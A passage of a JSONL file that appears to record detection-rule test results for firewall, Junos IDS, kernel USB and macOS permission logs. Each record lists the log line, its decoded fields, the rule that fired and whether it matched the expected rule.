"kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: drop frecuency"} +{"log": "Feb 4 23:33:37 hostname kernel: DROP IN= OUT=wlan0 SRC=192.168.1.102 DST=74.125.232.52 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=5394 DF PROTO=TCP SPT=59534 DPT=443 WINDOW=501 RES=0x00 ACK PSH FIN URGP=0", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "74.125.232.52", "dstport": "443", "protocol": "TCP", "srcip": "192.168.1.102", "srcport": "59534"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: drop frecuency"} +{"log": "Feb 4 23:33:37 hostname kernel: DROP IN= OUT=wlan0 SRC=192.168.1.102 DST=74.125.232.52 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=5394 DF PROTO=TCP SPT=59534 DPT=443 WINDOW=501 RES=0x00 ACK PSH FIN URGP=0", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "74.125.232.52", "dstport": "443", "protocol": "TCP", "srcip": "192.168.1.102", "srcport": "59534"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: drop frecuency"} +{"log": "Feb 4 23:33:37 hostname kernel: DROP IN= OUT=wlan0 SRC=192.168.1.102 DST=74.125.232.52 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=5394 DF PROTO=TCP SPT=59534 DPT=443 WINDOW=501 RES=0x00 ACK PSH FIN URGP=0", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "74.125.232.52", "dstport": "443", "protocol": "TCP", "srcip": "192.168.1.102", "srcport": "59534"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: drop frecuency"} +{"log": "Feb 4 23:33:37 hostname kernel: DROP IN= OUT=wlan0 SRC=192.168.1.102 DST=74.125.232.52 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=5394 DF PROTO=TCP SPT=59534 DPT=443 WINDOW=501 RES=0x00 ACK PSH FIN URGP=0", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "74.125.232.52", "dstport": "443", "protocol": "TCP", "srcip": "192.168.1.102", "srcport": "59534"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: drop frecuency"} +{"log": "Feb 4 23:33:37 hostname kernel: DROP IN= OUT=wlan0 SRC=192.168.1.102 DST=74.125.232.52 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=5394 DF PROTO=TCP SPT=59534 DPT=443 WINDOW=501 RES=0x00 ACK PSH FIN URGP=0", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "74.125.232.52", "dstport": "443", "protocol": "TCP", "srcip": "192.168.1.102", "srcport": "59534"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: drop frecuency"} +{"log": "Feb 4 23:33:37 hostname kernel: DROP IN= OUT=wlan0 SRC=192.168.1.102 DST=74.125.232.52 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=5394 DF PROTO=TCP SPT=59534 DPT=443 WINDOW=501 RES=0x00 ACK PSH FIN URGP=0", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "74.125.232.52", "dstport": "443", "protocol": "TCP", "srcip": "192.168.1.102", "srcport": "59534"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: drop frecuency"} +{"log": "Feb 4 23:33:37 hostname kernel: DROP IN= OUT=wlan0 SRC=192.168.1.102 DST=74.125.232.52 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=5394 DF PROTO=TCP SPT=59534 DPT=443 WINDOW=501 RES=0x00 ACK PSH FIN URGP=0", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "74.125.232.52", "dstport": "443", "protocol": "TCP", "srcip": "192.168.1.102", "srcport": "59534"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4151", "level": "10", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": true, "ini_file": "iptables.ini", "section": "iptables: drop frecuency"} +{"log": "Feb 4 23:33:37 hostname kernel: DROP IN= OUT=wlan0 SRC=192.168.1.102 DST=74.125.232.52 LEN=52 TOS=0x00 PREC=0x00 TTL=64 ID=5394 DF PROTO=TCP SPT=59534 DPT=443 WINDOW=501 RES=0x00 ACK PSH FIN URGP=0", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "74.125.232.52", "dstport": "443", "protocol": "TCP", "srcip": "192.168.1.102", "srcport": "59534"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: drop frecuency"} +{"log": "Nov 18 13:39:49 OpenWRT kernel: [10051.313745] DROP(src wan)IN=eth0 OUT= MAC=c2:56:27:73:33:cf:c4:f0:81:b0:93:24:08:00 SRC=205.205.205.205 DST=192.168.8.100 LEN=44 TOS=0x00 PREC=0x00 TTL=31 ID=8549 PROTO=TCP SPT=40952 DPT=23 WINDOW=64144 RES=0x00 SYN URGP=0 MARK=0xff00", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "192.168.8.100", "dstport": "23", "protocol": "TCP", "srcip": "205.205.205.205", "srcport": "40952"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: openwrt drop frecuency"} +{"log": "Nov 18 13:39:49 OpenWRT kernel: [10051.313745] DROP(src wan)IN=eth0 OUT= MAC=c2:56:27:73:33:cf:c4:f0:81:b0:93:24:08:00 SRC=205.205.205.205 DST=192.168.8.100 LEN=44 TOS=0x00 PREC=0x00 TTL=31 ID=8549 PROTO=TCP SPT=40952 DPT=23 WINDOW=64144 RES=0x00 SYN URGP=0 MARK=0xff00", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "192.168.8.100", "dstport": "23", "protocol": "TCP", "srcip": "205.205.205.205", "srcport": "40952"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: openwrt drop frecuency"} +{"log": "Nov 18 13:39:49 OpenWRT kernel: [10051.313745] DROP(src wan)IN=eth0 OUT= MAC=c2:56:27:73:33:cf:c4:f0:81:b0:93:24:08:00 SRC=205.205.205.205 DST=192.168.8.100 LEN=44 TOS=0x00 PREC=0x00 TTL=31 ID=8549 PROTO=TCP SPT=40952 DPT=23 WINDOW=64144 RES=0x00 SYN URGP=0 MARK=0xff00", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "192.168.8.100", "dstport": "23", "protocol": "TCP", "srcip": "205.205.205.205", "srcport": "40952"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: openwrt drop frecuency"} +{"log": "Nov 18 13:39:49 OpenWRT kernel: [10051.313745] DROP(src wan)IN=eth0 OUT= MAC=c2:56:27:73:33:cf:c4:f0:81:b0:93:24:08:00 SRC=205.205.205.205 DST=192.168.8.100 LEN=44 TOS=0x00 PREC=0x00 TTL=31 ID=8549 PROTO=TCP SPT=40952 DPT=23 WINDOW=64144 RES=0x00 SYN URGP=0 MARK=0xff00", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "192.168.8.100", "dstport": "23", "protocol": "TCP", "srcip": "205.205.205.205", "srcport": "40952"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: openwrt drop frecuency"} +{"log": "Nov 18 13:39:49 OpenWRT kernel: [10051.313745] DROP(src wan)IN=eth0 OUT= MAC=c2:56:27:73:33:cf:c4:f0:81:b0:93:24:08:00 SRC=205.205.205.205 DST=192.168.8.100 LEN=44 TOS=0x00 PREC=0x00 TTL=31 ID=8549 PROTO=TCP SPT=40952 DPT=23 WINDOW=64144 RES=0x00 SYN URGP=0 MARK=0xff00", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "192.168.8.100", "dstport": "23", "protocol": "TCP", "srcip": "205.205.205.205", "srcport": "40952"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: openwrt drop frecuency"} +{"log": "Nov 18 13:39:49 OpenWRT kernel: [10051.313745] DROP(src wan)IN=eth0 OUT= MAC=c2:56:27:73:33:cf:c4:f0:81:b0:93:24:08:00 SRC=205.205.205.205 DST=192.168.8.100 LEN=44 TOS=0x00 PREC=0x00 TTL=31 ID=8549 PROTO=TCP SPT=40952 DPT=23 WINDOW=64144 RES=0x00 SYN URGP=0 MARK=0xff00", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "192.168.8.100", "dstport": "23", "protocol": "TCP", "srcip": "205.205.205.205", "srcport": "40952"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: openwrt drop frecuency"} +{"log": "Nov 18 13:39:49 OpenWRT kernel: [10051.313745] DROP(src wan)IN=eth0 OUT= MAC=c2:56:27:73:33:cf:c4:f0:81:b0:93:24:08:00 SRC=205.205.205.205 DST=192.168.8.100 LEN=44 TOS=0x00 PREC=0x00 TTL=31 ID=8549 PROTO=TCP SPT=40952 DPT=23 WINDOW=64144 RES=0x00 SYN URGP=0 MARK=0xff00", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "192.168.8.100", "dstport": "23", "protocol": "TCP", "srcip": "205.205.205.205", "srcport": "40952"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: openwrt drop frecuency"} +{"log": "Nov 18 13:39:49 OpenWRT kernel: [10051.313745] DROP(src wan)IN=eth0 OUT= MAC=c2:56:27:73:33:cf:c4:f0:81:b0:93:24:08:00 SRC=205.205.205.205 DST=192.168.8.100 LEN=44 TOS=0x00 PREC=0x00 TTL=31 ID=8549 PROTO=TCP SPT=40952 DPT=23 WINDOW=64144 RES=0x00 SYN URGP=0 MARK=0xff00", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "192.168.8.100", "dstport": "23", "protocol": "TCP", "srcip": "205.205.205.205", "srcport": "40952"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: openwrt drop frecuency"} +{"log": "Nov 18 13:39:49 OpenWRT kernel: [10051.313745] DROP(src wan)IN=eth0 OUT= MAC=c2:56:27:73:33:cf:c4:f0:81:b0:93:24:08:00 SRC=205.205.205.205 DST=192.168.8.100 LEN=44 TOS=0x00 PREC=0x00 TTL=31 ID=8549 PROTO=TCP SPT=40952 DPT=23 WINDOW=64144 RES=0x00 SYN URGP=0 MARK=0xff00", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "192.168.8.100", "dstport": "23", "protocol": "TCP", "srcip": "205.205.205.205", "srcport": "40952"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: openwrt drop frecuency"} +{"log": "Nov 18 13:39:49 OpenWRT kernel: [10051.313745] DROP(src wan)IN=eth0 OUT= MAC=c2:56:27:73:33:cf:c4:f0:81:b0:93:24:08:00 SRC=205.205.205.205 DST=192.168.8.100 LEN=44 TOS=0x00 PREC=0x00 TTL=31 ID=8549 PROTO=TCP SPT=40952 DPT=23 WINDOW=64144 RES=0x00 SYN URGP=0 MARK=0xff00", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "192.168.8.100", "dstport": "23", "protocol": "TCP", "srcip": "205.205.205.205", "srcport": "40952"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: openwrt drop frecuency"} +{"log": "Nov 18 13:39:49 OpenWRT kernel: [10051.313745] DROP(src wan)IN=eth0 OUT= MAC=c2:56:27:73:33:cf:c4:f0:81:b0:93:24:08:00 SRC=205.205.205.205 DST=192.168.8.100 LEN=44 TOS=0x00 PREC=0x00 TTL=31 ID=8549 PROTO=TCP SPT=40952 DPT=23 WINDOW=64144 RES=0x00 SYN URGP=0 MARK=0xff00", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "192.168.8.100", "dstport": "23", "protocol": "TCP", "srcip": "205.205.205.205", "srcport": "40952"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: openwrt drop frecuency"} +{"log": "Nov 18 13:39:49 OpenWRT kernel: [10051.313745] DROP(src wan)IN=eth0 OUT= MAC=c2:56:27:73:33:cf:c4:f0:81:b0:93:24:08:00 SRC=205.205.205.205 DST=192.168.8.100 LEN=44 TOS=0x00 PREC=0x00 TTL=31 ID=8549 PROTO=TCP SPT=40952 DPT=23 WINDOW=64144 RES=0x00 SYN URGP=0 MARK=0xff00", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "192.168.8.100", "dstport": "23", "protocol": "TCP", "srcip": "205.205.205.205", "srcport": "40952"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: openwrt drop frecuency"} +{"log": "Nov 18 13:39:49 OpenWRT kernel: [10051.313745] DROP(src wan)IN=eth0 OUT= MAC=c2:56:27:73:33:cf:c4:f0:81:b0:93:24:08:00 SRC=205.205.205.205 DST=192.168.8.100 LEN=44 TOS=0x00 PREC=0x00 TTL=31 ID=8549 PROTO=TCP SPT=40952 DPT=23 WINDOW=64144 RES=0x00 SYN URGP=0 MARK=0xff00", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "192.168.8.100", "dstport": "23", "protocol": "TCP", "srcip": "205.205.205.205", "srcport": "40952"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: openwrt drop frecuency"} +{"log": "Nov 18 13:39:49 OpenWRT kernel: [10051.313745] DROP(src wan)IN=eth0 OUT= MAC=c2:56:27:73:33:cf:c4:f0:81:b0:93:24:08:00 SRC=205.205.205.205 DST=192.168.8.100 LEN=44 TOS=0x00 PREC=0x00 TTL=31 ID=8549 PROTO=TCP SPT=40952 DPT=23 WINDOW=64144 RES=0x00 SYN URGP=0 MARK=0xff00", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "192.168.8.100", "dstport": "23", "protocol": "TCP", "srcip": "205.205.205.205", "srcport": "40952"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: openwrt drop frecuency"} +{"log": "Nov 18 13:39:49 OpenWRT kernel: [10051.313745] DROP(src wan)IN=eth0 OUT= MAC=c2:56:27:73:33:cf:c4:f0:81:b0:93:24:08:00 SRC=205.205.205.205 DST=192.168.8.100 LEN=44 TOS=0x00 PREC=0x00 TTL=31 ID=8549 PROTO=TCP SPT=40952 DPT=23 WINDOW=64144 RES=0x00 SYN URGP=0 MARK=0xff00", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "192.168.8.100", "dstport": "23", "protocol": "TCP", "srcip": "205.205.205.205", "srcport": "40952"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: openwrt drop frecuency"} +{"log": "Nov 18 13:39:49 OpenWRT kernel: [10051.313745] DROP(src wan)IN=eth0 OUT= MAC=c2:56:27:73:33:cf:c4:f0:81:b0:93:24:08:00 SRC=205.205.205.205 DST=192.168.8.100 LEN=44 TOS=0x00 PREC=0x00 TTL=31 ID=8549 PROTO=TCP SPT=40952 DPT=23 WINDOW=64144 RES=0x00 SYN URGP=0 MARK=0xff00", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "192.168.8.100", "dstport": "23", "protocol": "TCP", "srcip": "205.205.205.205", "srcport": "40952"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: openwrt drop frecuency"} +{"log": "Nov 18 13:39:49 OpenWRT kernel: [10051.313745] DROP(src wan)IN=eth0 OUT= MAC=c2:56:27:73:33:cf:c4:f0:81:b0:93:24:08:00 SRC=205.205.205.205 DST=192.168.8.100 LEN=44 TOS=0x00 PREC=0x00 TTL=31 ID=8549 PROTO=TCP SPT=40952 DPT=23 WINDOW=64144 RES=0x00 SYN URGP=0 MARK=0xff00", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "192.168.8.100", "dstport": "23", "protocol": "TCP", "srcip": "205.205.205.205", "srcport": "40952"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4101", "level": "5", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": false, "ini_file": "iptables.ini", "section": "iptables: openwrt drop frecuency"} +{"log": "Nov 18 13:39:49 OpenWRT kernel: [10051.313745] DROP(src wan)IN=eth0 OUT= MAC=c2:56:27:73:33:cf:c4:f0:81:b0:93:24:08:00 SRC=205.205.205.205 DST=192.168.8.100 LEN=44 TOS=0x00 PREC=0x00 TTL=31 ID=8549 PROTO=TCP SPT=40952 DPT=23 WINDOW=64144 RES=0x00 SYN URGP=0 MARK=0xff00", "decoder": "kernel", "parent": "kernel", "fields": {"action": "DROP", "dstip": "192.168.8.100", "dstport": "23", "protocol": "TCP", "srcip": "205.205.205.205", "srcport": "40952"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4151", "level": "10", "expected_decoder": "kernel", "expected_rule": "4151", "rule_matches_expected": true, "ini_file": "iptables.ini", "section": "iptables: openwrt drop frecuency"} +{"log": "Feb 4 23:33:37 hostname kernel: [ 3529.289825] [UFW BLOCK] IN=eth0 OUT= MAC=00:11:22:33:44:55:66:77:88:99:aa:bb:cc:dd SRC=254.253.252.251 DST=191.192.193.194 LEN=103 TOS=0x00 PREC=0x00 TTL=52 ID=0 DF PROTO=UDP SPT=53 DPT=36427 LEN=83", "decoder": "kernel", "parent": "kernel", "fields": {"action": "UFW BLOCK", "dstip": "191.192.193.194", "dstport": "36427", "protocol": "UDP", "srcip": "254.253.252.251", "srcport": "53"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4100", "level": "0", "expected_decoder": "kernel", "expected_rule": "4100", "rule_matches_expected": true, "ini_file": "iptables.ini", "section": "iptables: ufw block"} +{"log": "Dec 26 09:05:47 server01 kernel: [126140.629122] [UFW BLOCK] IN=eth0 OUT= MAC=00:11:22:33:44:55:66:77:88:99:aa:bb:cc:dd SRC=254.253.252.251 DST=191.192.193.194 LEN=52 TOS=0x02 PREC=0x00 TTL=128 ID=9209 DF PROTO=TCP SPT=17833 DPT=22 WINDOW=8192 RES=0x00 CWR ECE SYN URGP=0", "decoder": "kernel", "parent": "kernel", "fields": {"action": "UFW BLOCK", "dstip": "191.192.193.194", "dstport": "22", "protocol": "TCP", "srcip": "254.253.252.251", "srcport": "17833"}, "field_names": ["action", "dstip", "dstport", "protocol", "srcip", "srcport"], "rule": "4100", "level": "0", "expected_decoder": "kernel", "expected_rule": "4100", "rule_matches_expected": true, "ini_file": "iptables.ini", "section": "iptables: ufw block"} +{"log": "Aug 24 04:58:58 192.168.1.1 junos-ids: 2017-08-24T04:58:58.724Z sis-srx-EUH-03 RT_IDS - RT_SCREEN_IP [junos@1.1.1.1.2.1 attack-name=\"IP spoofing!\" source-address=\"1.1.1.1\" destination-address=\"1.1.1.1\" protocol-id=\"17\" source-zone-name=\"mpls-untrust\" interface-name=\"xxxx.111\" action=\"drop\"]", "decoder": "junos-ids", "parent": "junos-ids", "fields": {"action": "drop", "attack.name": "IP spoofing!", "cat": "RT_IDS", "dstip": "1.1.1.1", "firewall_name": "sis-srx-EUH-03", "interface": "xxxx.111", "protocol_id": "17", "source_zone": "mpls-untrust", "srcip": "1.1.1.1", "sub_cat": "RT_SCREEN_IP"}, "field_names": ["action", "attack.name", "cat", "dstip", "firewall_name", "interface", "protocol_id", "source_zone", "srcip", "sub_cat"], "rule": "67101", "level": "10", "expected_decoder": "junos-ids", "expected_rule": "67101", "rule_matches_expected": true, "ini_file": "junos.ini", "section": "Junos spoofing"} +{"log": "Sep 23 13:54:55 192.168.1.1 junos-flow: 2017-09-23T13:54:54.803Z sis-srx-mic-01 RT_FLOW - RT_FLOW_SESSION_DENY [junos@2636.1.1.1.2.39 source-address=\"192.168.1.1\" source-port=\"1080\" destination-address=\"192.168.1.2\" destination-port=\"8010\" service-name=\"junos-dns-udp\" protocol-id=\"17\" icmp-type=\"0\" policy-name=\"Local-Default-Deny\" source-zone-name=\"trust\" destination-zone-name=\"untrust\" application=\"UNKNOWN\" nested-application=\"UNKNOWN\" username=\"N/A\" roles=\"N/A\" packet-incoming-interface=\"intf2.302\" encrypted=\"UNKNOWN\" reason=\"policy deny\"]", "decoder": "junos-rt-flow", "parent": "junos-rt-flow", "fields": {"application": "UNKNOWN", "cat": "RT_FLOW", "destination_zone": "untrust", "dstip": "192.168.1.2", "dstport": "8010", "encrypted": "UNKNOWN", "firewall_name": "sis-srx-mic-01", "icm_type": "0", "nested_application": "UNKNOWN", "packet_incoming_interface": "intf2.302", "policy_name": "Local-Default-Deny", "protocol_id": "17", "reason": "policy deny", "roles": "N/A", "service_name": "junos-dns-udp", "source_zone": "trust", "srcip": "192.168.1.1", "srcport": "1080", "subcat": "RT_FLOW_SESSION_DENY", "username": "N/A"}, "field_names": ["application", "cat", "destination_zone", "dstip", "dstport", "encrypted", "firewall_name", "icm_type", "nested_application", "packet_incoming_interface", "policy_name", "protocol_id", "reason", "roles", "service_name", "source_zone", "srcip", "srcport", "subcat", "username"], "rule": "67103", "level": "5", "expected_decoder": "junos-rt-flow", "expected_rule": "67103", "rule_matches_expected": true, "ini_file": "junos.ini", "section": "Junos deny"} +{"log": "Sep 21 15:25:06 192.168.1.1 junos-flow: 2017-09-21T15:25:06.141Z sis-srx-ICP-01 RT_FLOW - FLOW_MCAST_RPF_FAIL [junos@2636.1.1.1.2.39 interface-name=\"intf1.326\" source-address=\"192.168.1.1\" destination-address=\"192.168.1.2\" protocol-name=\"udp\"]", "decoder": "junos-rt-flow", "parent": "junos-rt-flow", "fields": {"cat": "RT_FLOW", "dstip": "192.168.1.2", "firewall_name": "sis-srx-ICP-01", "interface": "intf1.326", "protocol_name": "udp", "srcip": "192.168.1.1", "subcat": "FLOW_MCAST_RPF_FAIL"}, "field_names": ["cat", "dstip", "firewall_name", "interface", "protocol_name", "srcip", "subcat"], "rule": "67103", "level": "5", "expected_decoder": "junos-rt-flow", "expected_rule": "67103", "rule_matches_expected": true, "ini_file": "junos.ini", "section": "Junos deny"} +{"log": "Mar 23 15:04:52 manager kernel: usb 1-1: New USB device found, idVendor=0930, idProduct=6544", "decoder": "kernel", "parent": "kernel", "fields": {"id": "usb"}, "field_names": ["id"], "rule": "81101", "level": "3", "expected_decoder": "kernel", "expected_rule": "81101", "rule_matches_expected": true, "ini_file": "kernel_usb.ini", "section": "kernel_usb: attach usb"} +{"log": "Mar 23 15:04:52 manager kernel: [62828.333722] usb 1-1: New USB device found, idVendor=0930, idProduct=6544", "decoder": "kernel", "parent": "kernel", "fields": {"id": "usb"}, "field_names": ["id"], "rule": "81101", "level": "3", "expected_decoder": "kernel", "expected_rule": "81101", "rule_matches_expected": true, "ini_file": "kernel_usb.ini", "section": "kernel_usb: attach usb with kernel id"} +{"log": "Mar 15 23:14:34 manager kernel: [ 195.634715] usb 1-1: New USB device found, idVendor=0bda, idProduct=568a, bcdDevice=65.10", "decoder": "kernel", "parent": "kernel", "fields": {"id": "usb"}, "field_names": ["id"], "rule": "81101", "level": "3", "expected_decoder": "kernel", "expected_rule": "81101", "rule_matches_expected": true, "ini_file": "kernel_usb.ini", "section": "kernel_usb: attach usb with kernel id and blank spaces"} +{"log": "Mar 23 15:05:23 manager kernel: usb 1-1: USB disconnect, device number 2", "decoder": "kernel", "parent": "kernel", "fields": {"id": "usb"}, "field_names": ["id"], "rule": "81102", "level": "3", "expected_decoder": "kernel", "expected_rule": "81102", "rule_matches_expected": true, "ini_file": "kernel_usb.ini", "section": "kernel_usb: disconnect usb"} +{"log": "Mar 23 15:05:23 manager kernel: [62859.373865] usb 1-1: USB disconnect, device number 2", "decoder": "kernel", "parent": "kernel", "fields": {"id": "usb"}, "field_names": ["id"], "rule": "81102", "level": "3", "expected_decoder": "kernel", "expected_rule": "81102", "rule_matches_expected": true, "ini_file": "kernel_usb.ini", "section": "kernel_usb: disconnect usb with kernel id"} +{"log": "Mar 23 15:05:23 manager kernel: [ 259.373865] usb 1-1: USB disconnect, device number 2", "decoder": "kernel", "parent": "kernel", "fields": {"id": "usb"}, "field_names": ["id"], "rule": "81102", "level": "3", "expected_decoder": "kernel", "expected_rule": "81102", "rule_matches_expected": true, "ini_file": "kernel_usb.ini", "section": "kernel_usb: disconnect usb with kernel id and blank spaces"} +{"log": "2023-01-23 03:22:26.410246-0800 localhost tccd[1030]: [com.apple.TCC:access] Update Access Record: kTCCServiceMicrophone for us.zoom.xos to Allowed at 1674472946 (2023-01-23 11:22:26 +0000)", "decoder": "macOS_tccd", "parent": "", "fields": {"application": "us.zoom.xos", "service": "kTCCServiceMicrophone", "status": "Allowed", "time": "11:22:26"}, "field_names": ["application", "service", "status", "time"], "rule": "89600", "level": "5", "expected_decoder": "macOS_tccd", "expected_rule": "89600", "rule_matches_expected": true, "ini_file": "macos.ini", "section": "$(application) has been granted permission to $(service) at $(time)"} +{"log": "2023-01-23 03:22:29.290427-0800 localhost tccd[1030]: [com.apple.TCC:access] Update Access Record: kTCCServiceMicrophone for us.zoom.xos to Denied at 1674472949 (2023-01-23 11:22:29 +0000)", "decoder": "macOS_tccd", "parent": "", "fields": {"application": "us.zoom.xos", "service": "kTCCServiceMicrophone", "status": "Denied", "time": "11:22:29"}, "field_names": ["application", "service", "status", "time"], "rule": "89601", "level": "5", "expected_decoder": "macOS_tccd", "expected_rule": "89601", "rule_matches_expected": true, "ini_file": "macos.ini", "section": "$(application) has been denied permission to $(service) at $(time)"} +{"log": "2023-01-23 03:14:00.792511-0800 localhost loginwindow[156]: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendBSDNotification:forUserID:] | sendBSDNotification: com.apple.sessionagent.screenIsUnlocked, with userID:501", "decoder": "macOS_loginwindow", "parent": "", "fields": {"userID": "501"}, "field_names": ["userID"], "rule": "89602", "level": "3", "expected_decoder": "macOS_loginwindow", "expected_rule": "89602", "rule_matches_expected": true, "ini_file": "macos.ini", "section": "Screen unlocked with userID:$(userID)"} +{"log": "2023-04-12 01:36:42.792314-0700 localhost loginwindow[155]: [com.apple.loginwindow.logging:Standard] -[SessionAgentNotificationCenter sendBSDNotification:forUserID:] | sendBSDNotification: com.apple.sessionagent.screenIsLocked, with userID:501", "decoder": "macOS_loginwindow", "parent": "", "fields": {"userID": "501"}, "field_names": ["userID"], "rule": "89603", "level": "3", 